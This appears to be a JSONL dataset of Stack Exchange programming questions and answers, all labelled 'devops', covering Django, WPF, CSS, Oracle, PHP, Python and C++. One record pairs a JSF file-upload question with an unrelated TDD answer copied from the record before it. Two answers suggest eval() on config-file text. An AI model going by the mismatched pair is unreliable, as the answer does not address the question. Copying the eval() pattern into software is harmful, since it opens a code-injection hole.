{"id": "hf_6a510a713b45", "question": "<p>I have a few model classes with basic one-to-many relationships.  For example, a book has many recipes, and each recipe has many ingredients:</p>\n\n<pre><code>class Book(models.Model):\n    name = models.CharField(max_length=64)\n\nclass Recipe(models.Model):\n    book = models.ForeignKey(Book)\n    name = models.CharField(max_length=64)\n\nclass Ingredient(models.Model):\n    text = models.CharField(max_length=128)\n    recipe = models.ForeignKey(Recipe)\n</code></pre>\n\n<p>I'd like a flat list of all ingredients in all recipes from a particular book.  What's the best way to express this in Python?</p>\n\n<p>If I was using LINQ, I might write something like this:</p>\n\n<pre><code>var allIngredients = from recipe in book.Recipes\n                     from ingredient in recipe.Ingredients\n                     select ingredient;\n</code></pre>\n", "question_body": "", "answer": "To print each recipe and its ingredients:\n```\n```\nmybook = Book.objects.get(name=\"Jason's Cookbook\")\nfor recipe in mybook.recipe_set.all():\n    print recipe.name\n    for ingredient in recipe.ingredients:\n        print ingredient.text\n```\n```\nAnd if you just want to get a list of all ingredient objects:\n```\n```\nmybook = Book.objects.get(name=\"Jason's Cookbook\")\ningredient_list = []\nfor recipe in mybook.recipe_set.all():\n    for ingredient in recipe.ingredients:\n        ingredient_list.append(ingredient)\n```\n```\nDocumentation\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.288614"}
{"id": "hf_3a5b2a9c7e9b", "question": "<p>I've explored python for several years, but now I'm slowly learning how to work with c.  Using the <a href=\"http://www.python.org/doc/2.5.2/ext/intro.html\" rel=\"nofollow noreferrer\">python documentation</a>, I learned how to extend my python programs with some c, since this seemed like the logical way to start playing with it.  My question now is how to distribute a program like this.</p>\n\n<p>I suppose the heart of my question is how to compile things.  I can do this easily on my own machine (gentoo), but a binary distribution like Ubuntu probably doesn't have a compiler available by default.  Plus, I have a few friends who are mac users.  My instinct says that I can't just compile with my own machine and then run it on another.  Anyone know what I can do, or some online resources for learning things like this?</p>\n", "question_body": "", "answer": "Please read up on distutils.  Specifically, the section on\nExtension Modules\n.\nMaking assumptions about compilers is bad policy; your instinct may not have all the facts.  You could do some marketplace survey -- ask what they can handle regarding source distribution of extension modules.\nIt's relatively easy to create the proper distutils\n```\nsetup.py\n```\nand see who can run it and who can't.\nBuilt binary distributions are pretty common.  Perhaps you can sign up some users will help create binary distributions -- with OS-native installers -- for some considerations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.353647"}
{"id": "hf_c4317e90a93c", "question": "<p>When working with window handles, is it <em>good</em> enough to use the plain <strong>IntPtr</strong> or should I subclass <strong>SafeHandle</strong>?</p>\n\n<p>Are there any significant pros/cons?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "That depends :)\nIf the handle is returned in such a way that you must eventually call a version of ::CloseHandle on them then you should always subclass SafeHandle.  SafeHandle makes the strongest guarantee possible in the .Net Framework that a handle will be freed.  Not freeing an IntPtr will lead to a resource leak.  Enough resource leaks will eventually lead to a program crash.\nIf the handle doesn't need to be freed then passing around IntPtr is sufficient.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.402138"}
{"id": "hf_3fe29c13b6e2", "question": "<p>I have a ComboBox bound to an ObservableCollection of decimals.  What is the correct way to apply our currency converter to the items?</p>\n\n<p>Edit:</p>\n\n<p>a) I have an existing currency converter that I must use\nb) .NET 3.0</p>\n\n<p>Do I need to template the items?</p>\n", "question_body": "", "answer": "Use\nStringFormat\nin the Binding expression like\n```\n```\n<TextBox Text=\"{Binding Path=Value, StringFormat=Amount: {0:C}}\"/>\n```\n```\nSee this\nblog for more details.\nA\nValueConverter\nis another way - StringFormat doesnt work on .NET3.0 it needs WPF3.5 SP1.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.505402"}
{"id": "hf_dedbb8b554a4", "question": "<p>Where can I find either literature or video demonstration of unit testing applications using VB.NET? As a novice/hobbyist programmer I would like to build a solid foundation in developing applications using the unit testing methodology.</p>\n", "question_body": "", "answer": "If it helps any, you may want to learn C# if you plan on staying in the .NET world and ever plan to use .NET professionally.  I've answered why\nhere\n.  Now, on to your question: O'Reilly and Associates had an\narticle on this very subject\nrecently (if by 2005 you mean recent, but for our purposes, we can call it recent).  You may also want to learn\nNunit\n, which is a unit testing framework for .NET.\nAs far as Books:\nOpen Source .NET Development\n- Covers Nunit.\neXtreme .NET: Introducing eXtreme Programming Techniques to .NET Developers\nTest Driven Development in Microsoft.NET\nThat should get you started.  I don't know whether the code examples are in VB or C#, but if you have a\nSafari online\nsubscription (which I highly recommend), you'll be able to browse these books without dropping money on them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.543315"}
{"id": "hf_d0217478fdb2", "question": "<p>How do you convert a number to a string showing dollars and cents?</p>\n\n<pre><code>eg:\n123.45    =&gt; '$123.45'\n123.456   =&gt; '$123.46'\n123       =&gt; '$123.00'\n.13       =&gt; '$0.13'\n.1        =&gt; '$0.10'\n0         =&gt; '$0.00'\n</code></pre>\n", "question_body": "", "answer": "In PHP and C++ you can use the printf() function\n```\n```\nprintf(\"$%01.2f\", $money);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.618337"}
{"id": "hf_1921933fe897", "question": "<p>What are some of the ways you have implemented models in the Zend Framework?</p>\n\n<p>I have seen the basic <code>class User extends Zend_Db_Table_Abstract</code> and then putting calls to that in your controllers: </p>\n\n<p><code>$foo = new User;</code></p>\n\n<p><code>$foo-&gt;fetchAll()</code></p>\n\n<p>but what about more sophisticated uses? The Quickstart section of the documentation offers such an example but I still feel like I'm not getting a \"best use\" example for models in Zend Framework. Any interesting implementations out there?</p>\n\n<hr>\n\n<p><strong>EDIT:</strong> I should clarify (in response to CMS's comment)... I know about doing more complicated selects. I was interested in overall approaches to the Model concept and concrete examples of how others have implemented them (basically, the stuff the manual leaves out and the stuff that basic how-to's gloss over) </p>\n", "question_body": "", "answer": "You can do more complicated queries, check the\nAdvanced usage\nsection in the\n```\nZend_Db_Table\n```\nmanual page.\n```\n```\n$select = $table->select();\n$select->from($table,\n              array('COUNT(reported_by) as `count`', 'reported_by'))\n       ->where('bug_status = ?', 'NEW')\n       ->group('reported_by');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.643527"}
{"id": "hf_06780a6a0852", "question": "<p>I have a table like this:</p>\n\n<pre><code>&lt;table&gt;\n    &lt;tfoot&gt;\n        &lt;tr&gt;&lt;td&gt;footer&lt;/td&gt;&lt;/tr&gt;\n    &lt;/tfoot&gt;\n    &lt;tbody&gt;\n        &lt;tr&gt;&lt;td&gt;Body 1&lt;/td&gt;&lt;/tr&gt;\n        &lt;tr&gt;&lt;td&gt;Body 1&lt;/td&gt;&lt;/tr&gt;\n        &lt;tr&gt;&lt;td&gt;Body 1&lt;/td&gt;&lt;/tr&gt;\n    &lt;/tbody&gt;\n    &lt;tbody&gt;\n        &lt;tr&gt;&lt;td&gt;Body 2&lt;/td&gt;&lt;/tr&gt;\n        &lt;tr&gt;&lt;td&gt;Body 2&lt;/td&gt;&lt;/tr&gt;\n        &lt;tr&gt;&lt;td&gt;Body 2&lt;/td&gt;&lt;/tr&gt;\n    &lt;/tbody&gt;\n    &lt;tbody&gt;\n        &lt;tr&gt;&lt;td&gt;Body 3&lt;/td&gt;&lt;/tr&gt;\n        &lt;tr&gt;&lt;td&gt;Body 3&lt;/td&gt;&lt;/tr&gt;\n        &lt;tr&gt;&lt;td&gt;Body 3&lt;/td&gt;&lt;/tr&gt;\n    &lt;/tbody&gt;\n&lt;/table&gt;\n</code></pre>\n\n<p>I'd like to put some spacing between each tbody element, but padding and margin have no effect. Any ideas?</p>\n", "question_body": "", "answer": "Try this, if you don't mind not having borders.\n```\n```\n<style>\ntable {\n  border-collapse: collapse;\n}\n\ntable tbody {\n  border-top: 15px solid white;\n}\n</style>\n\n<table>\n    <tfoot>\n        <tr><td>footer</td></tr>\n    </tfoot>\n    <tbody>\n        <tr><td>Body 1</td></tr>\n        <tr><td>Body 1</td></tr>\n        <tr><td>Body 1</td></tr>\n    </tbody>\n    <tbody>\n        <tr><td>Body 2</td></tr>\n        <tr><td>Body 2</td></tr>\n        <tr><td>Body 2</td></tr>\n    </tbody>\n    <tbody>\n        <tr><td>Body 3</td></tr>\n        <tr><td>Body 3</td></tr>\n        <tr><td>Body 3</td></tr>\n    </tbody>\n</table>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.681235"}
{"id": "hf_289508777179", "question": "<p>I have a project that I have been working on for a while, just one of those little pet projects that I would like to one day release to open source. </p>\n\n<p>Now I started the project about 12 months ago but I was only working on it lightly, I have just started to concentrate a lot more of my time on it(almost every night).  </p>\n\n<p>Because it is a framework like application I sometimes struggle with a sense of direction due to the fact I don't have anything driving my design decisions and I sometimes end up making features that are hard to use or even find.  I have been reading about how to do TDD and thought maybe this will help me with some of the problems that I am having.   </p>\n\n<p>So the question is do you think it's a good idea to start using TDD on a project that doesn't already use it.</p>\n\n<p>EDIT: I have just added a bit to clarify what I mean by struggle with a \"sense of direction\", it properly wasn't the best thing to say without clarification.</p>\n", "question_body": "", "answer": "In my opinion, it's never too late to adopt a better practice - or to drop a worse one - so I'd say \"Yes, you should start\".\nHowever ... (there's always a \"but\") ...\n... one of the biggest gains of TDD is that it impacts on your design, encouraging you to keep reponsibilties separate, interactions clean and so on.\nAt this point in your project, you may find it difficult to get tests written for some aspects of your framework. Don't give up though, even if you can't test some areas, your quality will be the better for the areas you can test, and your skills will improve for the experience.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.756194"}
{"id": "hf_71600b5b70fa", "question": "<p>I have a JSF form that needs to upload a file via an icon click (i.e. without showing the textfield/browse button of the file upload component). </p>\n\n<p>Is it possible to trigger the file-open dialog and uploading functionality of the upload component via some other component type? </p>\n", "question_body": "", "answer": "In my opinion, it's never too late to adopt a better practice - or to drop a worse one - so I'd say \"Yes, you should start\".\nHowever ... (there's always a \"but\") ...\n... one of the biggest gains of TDD is that it impacts on your design, encouraging you to keep reponsibilties separate, interactions clean and so on.\nAt this point in your project, you may find it difficult to get tests written for some aspects of your framework. Don't give up though, even if you can't test some areas, your quality will be the better for the areas you can test, and your skills will improve for the experience.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.781871"}
{"id": "hf_2ba565648abd", "question": "<p>I have a winforms app and i want to keep track of every time a user clicks certain buttons, etc as well as other actions.  What is the best way for me to keep track of this information and then put it together so i can run metrics on most used features, etc.</p>\n\n<p>This is a winforms app and I have users around the world.</p>\n", "question_body": "", "answer": "I'd try something like this:\n```\n```\n// execute this method once all forms have been created\n    public static void HookButtons()\n    {\n         foreach( Form f in Application.OpenForms )\n         {\n              EnumerateControls( f.Controls );\n         }\n    }\n\n    public static void EnumerateControls( ICollection controls )\n    {\n        foreach( Control ctrl in controls )\n        {\n            if( ctrl.Controls.Count > 0 )\n            {\n                EnumerateControls( ctrl.Controls );\n            }\n\n            if( ctrl is ButtonBase )\n            {\n                ctrl.MouseClick +=new MouseEventHandler( ctrl_MouseClick );\n            }\n        }\n\n    }\n\n    static void ctrl_MouseClick( object sender, MouseEventArgs e )\n    {\n        ButtonBase clicked = ((ButtonBase)sender);\n\n        // do something with the click information here\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.819183"}
{"id": "hf_09114553bfe3", "question": "<p>Is there an equivalant to Environment.NewLine in DotNet for a Tab character?</p>\n", "question_body": "", "answer": "NewLine is on the Environment class because the new line specification varies between platforms:\nIt's \"\\r\\n\" for non-Unix platforms and \"\\n\" for Unix platforms. However tab is always \"\\t\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.904834"}
{"id": "hf_816b8263250f", "question": "<p>I need to create an empty .mdb file, so that I can then run ADO commands on it (<em>not</em> ADO.NET). Is there a way to create an empty mdb using ADO?</p>\n", "question_body": "", "answer": "Here are some code snippets that work:\n```\n```\nstring sADOProvider = \"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\";\n\n        ADOX.CatalogClass cat = new ADOX.CatalogClass();\n\n        string sCreate = MainForm.sADOProvider + sFullPath;\n\n        cat.Create(sCreate);\n\n        // The point of this code is to unlock the access file after we\n        // create it.   You can tell it is unlocked if the .ldb file disappears.\n        System.Runtime.InteropServices.Marshal.ReleaseComObject(cat);\n        cat = null;\n        GC.Collect();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.942066"}
{"id": "hf_f55340563397", "question": "<p>I am working on an application that will be used as an extensible framework for other applications.</p>\n\n<p>One of the fundamental classes is called Node, and Nodes have Content. The SQL tables look like this:</p>\n\n<p>TABLE Node ( NodeId int, .... etc )</p>\n\n<p>TABLE NodeContentRelationship ( NodeId int, ContentType string, ContentId int)</p>\n\n<p>It will be up to the developers extending the application to create their own content types.</p>\n\n<p>Clearly this is bad from a relationship-database point of view as it is not possible to add a foreign key relationship to NodeContentRelationship.ContentId, even though it <em>is</em> a foreign key column.</p>\n\n<p>However, the solution is quite simple and powerful so I am reluctant to change it.</p>\n\n<p>What do you think - am I in for a world of pain down the track?</p>\n", "question_body": "", "answer": "Beware the\nInner Platform Effect\n.\nIf you're trying to build an 'extensible framework' which allows developers to store data of different 'content types' and relate them to each other in a generic fashion, you may find that others have already\nsolved\nthis\nproblem\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.001479"}
{"id": "hf_6b7c863f7d0f", "question": "<p>As prescribed by Yahoo!, gzip'ng files would make your websites load faster. The problem? I don't know how :p</p>\n", "question_body": "", "answer": "http://www.webcodingtech.com/php/gzip-compression.php\nOr if you have Apache, try\nhttp://www.askapache.com/htaccess/apache-speed-compression.html\nSome hosting services have an option in the control panel.  It's not always possible, though, so if you're having difficulty, post back with more details about your platform.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.026137"}
{"id": "hf_68ad1f843ab8", "question": "<p>I'm dealing with an Oracle DBA at the moment, who has sent me some profiling he's done. One of the terms in his report is 'Buffer Gets', any idea what this actually means? My guess is bytes retrieved from a buffer, but I have no idea really. Here is some sample output:</p>\n\n<pre><code>  Buffer Gets    Executions  Gets per Exec  %Total Time (s)  Time (s) Hash Value\n--------------- ------------ -------------- ------ -------- --------- ----------\n    137,948,100       31,495        4,380.0   98.4  6980.57   6873.46 4212400674\nModule: JDBC Thin Client\nSELECT fieldOne, fieldTwo, fieldThree, fieldFour, fieldFive FROM TableExample\nWHERE fieldOne = 'example'\n</code></pre>\n\n<p>It would also be handy to know what 'Gets per Exec' means, as I guess they are related? I'm a programmer, but not a DBA.</p>\n", "question_body": "", "answer": "Oracle storage is arranged into blocks of a given size (e.g. 8k).  Tables and indexes are made up of a series of blocks on the disk.  When these blocks are in memory they occupy a buffer.\nWhen Oracle requires a block it does a\nbuffer get\n.  First it checks to see if it already has the block it needs in memory.  If so, the in-memory version is used.  If it does not have the block in memory then it will read it from disk into memory.\nSo a buffer get represents the number of times Oracle had to access a block.  The reads could have been satisfied either from memory (the buffers) or have resulted in a physical IO.\nSince physical IO is so expensive (compared to memory or CPU) one approach to tuning is to concentrate on reduction in buffer gets which is assumed will flow on to reduce physical IO.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.072215"}
{"id": "hf_51885ccb6086", "question": "<p>In the application that I am working on, the logging facility makes use of <code>sprintf</code> to format the text that gets written to file. So, something like:</p>\n\n<pre><code>char buffer[512];\nsprintf(buffer, ... );\n</code></pre>\n\n<p>This sometimes causes problems when the message that gets sent in becomes too big for the manually allocated buffer.</p>\n\n<p>Is there a way to get <code>sprintf</code> behaviour without having to manually allocate memory like this? </p>\n\n<p>EDIT: while <code>sprintf</code> is a C operation, I'm looking for C++ type solutions (if there are any!) for me to get this sort of behaviour...</p>\n", "question_body": "", "answer": "\"the logging facility makes use of sprintf to format the text that gets written to file\"\n```\nfprintf()\n```\ndoes not impose any size limit. If you can write the text directly to file, do so!\nI assume there is some intermediate processing step, however. If you know how much space you need, you can use\n```\nmalloc()\n```\nto allocate that much space.\nOne technique at times like these is to allocate a reasonable-size buffer (that will be large enough 99% of the time) and if it's not big enough, break the data into chunks that you process one by one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.096088"}
{"id": "hf_5fd6eadbb7f5", "question": "<p>When using <code>call_user_func_array()</code> I want to pass a parameter by reference.  How would I do this.  For example</p>\n\n<pre><code>function toBeCalled( &amp;$parameter ) {\n    //...Do Something...\n}\n\n$changingVar = 'passThis';\n$parameters = array( $changingVar );\ncall_user_func_array( 'toBeCalled', $parameters );\n</code></pre>\n", "question_body": "", "answer": "To pass by reference using\n```\ncall_user_func_array()\n```\n, the parameter in the array must be a reference - it does not depend on the function definition whether or not it is passed by reference.  For example, this would work:\n```\n```\nfunction toBeCalled( &$parameter ) {\n    //...Do Something...\n}\n\n$changingVar = 'passThis';\n$parameters = array( &$changingVar );\ncall_user_func_array( 'toBeCalled', $parameters );\n```\n```\nSee the notes on the\n```\ncall_user_func_array()\n```\nfunction documentation\nfor more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.123773"}
{"id": "hf_abe33c3c47d2", "question": "<p>Using google's <a href=\"http://code.google.com/p/protobuf/\" rel=\"nofollow noreferrer\">Protocul Buffers</a>, I have a service already written in Java which has its own data structures already. I'd like to use pb to delivering messages and I'm looking for a way to serialize the existing data structures that I have in Java to pb.\nI can start by defining all the data structures in pb from scratch, which is probably the right way to go but I'm too lazy.\nSo, say I have a Person class in Java (or other supported languages) or a Plane class which has tens of attributes in it, is there a way to serialize that class to pb? Can I have a pb attribute of type Plane? (when Plane is not a pb, it's a Java class)</p>\n", "question_body": "", "answer": "No, you can't. Fields in protobuf messages are always the primitives (numbers, strings and byte arrays, basically), protobuf enums (which are generated as Java enums) or protobuf messages - and repeated versions of all of those, of course.\nYou could potentially write a tool which used reflection to create a .proto file from a Java class, but I suspect you'd find it quicker just to do it by hand. In particular, if you\ndid\nuse reflection you'd want to make sure that the fields were always generated with the same name, to maintain compatibility. One thing you\ncould\ndo is annotate the Java classes and write code to generate the .proto file based on those annotations - or even potentially serialize directly to proto format using the annotations. Personally I'd recommend creating the .proto file in\nsome\nway rather than effectively rewriting the PB project - otherwise there's a significant risk of introducing bugs where there's already thoroughly tested code.\nIf you\ndo\ncreate an annotation system, I'm sure Kenton Varda (and the rest of the PB community) would be interested in seeing it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.147446"}
{"id": "hf_948b2b2eea3f", "question": "<p>I have a very tricky situation (for my standards) in hand. I have a script that needs to read a script variable name from <a href=\"https://docs.python.org/2/library/configparser.html\" rel=\"nofollow noreferrer\">ConfigParser</a>. For example, I need to read</p>\n\n<pre><code>self.post.id\n</code></pre>\n\n<p>from a .cfg file and use it as a variable in the script. How do I achieve this?</p>\n\n<p>I suppose I was unclear in my query. The .cfg file looks something like:</p>\n\n<pre><code>[head]\ntest: me\nsome variable : self.post.id\n</code></pre>\n\n<p>This self.post.id is to be replaced at the run time, taking values from the script.</p>\n", "question_body": "", "answer": "test.ini:\n```\n```\n[head]\nvar: self.post.id\n```\n```\npython:\n```\n```\nimport ConfigParser\n\nclass Test:\n  def __init__(self):\n      self.post = TestPost(5)\n  def getPost(self):\n      config = ConfigParser.ConfigParser()\n      config.read('/path/to/test.ini')\n      newvar = config.get('head', 'var')\n      print eval(newvar) \n\nclass TestPost:\n  def __init__(self, id):\n      self.id = id\n\ntest = Test()\ntest.getPost()   # prints 5\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.183358"}
{"id": "hf_e0126175a8f7", "question": "<p>I have a sharepoint event handler which I want to activate for a single list, not all the lists in the site. How do I go about this?</p>\n", "question_body": "", "answer": "Just that list or that list in each site ?\nI have been testing the code that run when the event happens and I have used a\nnice little tool\nfrom u2u, which allows me to add or remove event handlers per list.\nThis MSDN article\nis a nice primer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.207404"}
{"id": "hf_12878df49336", "question": "<p>How do I convert a string to the variable name in <a href=\"http://en.wikipedia.org/wiki/Python_%28programming_language%29\" rel=\"noreferrer\">Python</a>?</p>\n\n<p>For example, if the program contains a object named <code>self.post</code> that contains a variable named, I want to do something like:</p>\n\n<pre><code>somefunction(\"self.post.id\") = |Value of self.post.id|\n</code></pre>\n", "question_body": "", "answer": "As referenced in Stack Overflow question\nInplace substitution from ConfigParser\n, you're looking for\n```\neval()\n```\n:\n```\n```\nprint eval('self.post.id') # Prints the value of self.post.id\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.282199"}
{"id": "hf_000f0403fe16", "question": "<p>I am a COM object written in ATL that is used from a C++ application, and I want to pass an array of BYTEs between the two.  My experience of COM/IDL so far is limited to passing simple types (BSTRs, LONGs, etc.).</p>\n\n<p>Is there a relatively easy way to have the COM object pass an array to the caller?  For example, I want to pass a raw image (TIFF) instead of messing with temporary files.</p>\n", "question_body": "", "answer": "Check out using\nsafearrays\n. Here's some example code:\nThe safearray is returned as a pointer to a VARIANT\n```\n```\n[id(1), helpstring(\"LogCache\")] HRESULT LogCache([out,retval] VARIANT* logCache);\n```\n```\nSafearrays are pretty easy to use. Here's some example code which is a cache of the latest 1000 log messages of some application:\n```\n```\nsafearray_t<bstr_t> m_logCache;\n   ...\n   if (m_logCache.size() > 1000)\n   {\n       m_logCache.pop_back();\n   }\n\n   m_logCache.push_front(Msg.str(), 0);\n\n    variant_t LogCache()\n    {\n        if (!m_logCache.is_empty())\n        {\n            variant_t cache(m_logCache);\n            return cache;\n        }\n    }\n```\n```\nNote that the syntax in your case is almost certainly going to be different since I'm using the\ncomet COM library\n, but the ideas/concepts are the same.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.341005"}
{"id": "hf_e719732293a6", "question": "<p>When we write in a Javascript expression : </p>\n\n<pre><code>expression &lt; &lt;%=variableJsp%&gt; \n</code></pre>\n\n<p>the double \"&lt;\" seems to be a problem and the JSP is not interpreted ?</p>\n\n<p>Is it a fault of the other servers that should not accept this type of expression ? Or WebSphere that bugs ?</p>\n", "question_body": "", "answer": "I find it generally a bad idea to inline javascript on jsp pages.Your problem is only one of the reasons to make javascript functions external.\nAlthough I do not know websphere, this has happened to me on other containers.\nIf you insist on keeping it inline, you can probably use\n```\n```\nexpression &lt; <%=variableJsp%>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.376559"}
{"id": "hf_64cac036623e", "question": "<p>Is there a way to specify the font size for a class to be, say, 70% of the inherited font size?</p>\n\n<p>I have a general \"button\" class that sets up my buttons with the appropriate borders, background, etc. I use it in multiple places, including one where the font size is fairly small and another where the font size is quite large.</p>\n\n<pre><code>&lt;div style=\"font-size: 26px;\"&gt;\nPush this: &lt;input class=\"button\" type=\"submit\" value=\"Go\"&gt;\n&lt;/div&gt;\n&lt;div style=\"font-size: 10px;\"&gt;\nPush this too: &lt;input class=\"button\" type=\"submit\" value=\"Go\"&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>In both instances I'd like the button font-size to be about 70% of the font size of the span or div the button is in. </p>\n\n<p>Can I do this with pure CSS?</p>\n", "question_body": "", "answer": "Try:\n```\n```\nfont-size: 0.7em;\n```\n```\nHere's some more information:\nHow to Size Text in CSS\nat A List Apart", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.412028"}
{"id": "hf_1e8fc0b49633", "question": "<p>The ListChanged event for an IBindingList fires a type ListChangedType.ItemDeleted when items are deleted, perhaps by a user deleting a row in a datagrid control bound to the list. The problem is that the NewIndex into the list is invalid in this event, it's been deleted, and the item that was deleted is not available. There should be an ItemDeleting event, but I doubt they will ever fix this.</p>\n", "question_body": "", "answer": "It's not really intended for that purpose.\n```\nNewIndex\n```\nis the index where the item was when it was deleted, and it's useful for bound controls to be able to locate their associated display item in their own lists and remove that.\nWhat is the use case you want to enable with an\n```\nItemDeleting\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.435939"}
{"id": "hf_2fa1485e7de8", "question": "<p>I have a movie which is made up of a series of SWF files that read XML. Is there any way to burn it to a CD/DVD or at least convert it to a 'burnable' format such as AVI, MPEG, or ISO? Currently in order to burn it I have to so some funky screen capture stuff and recorded it to a DVD that way.</p>\n", "question_body": "", "answer": "Flash CS3 has a nifty way to export any swf (including those that use scripts) to video, but for some reason this is only available when exporting to .mov\nOpen up your animation in Flash, if you don't have a .fla available making a simple wrapper that loads your swf should work too. Then go File -> Export -> Export movie, and choose Quicktime. Set the various fiddly bits to your liking, and then Flash will step through your animation as fast as it can, saving you both the risk of dropped frames and having to wait for a 1 fps capture.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.494628"}
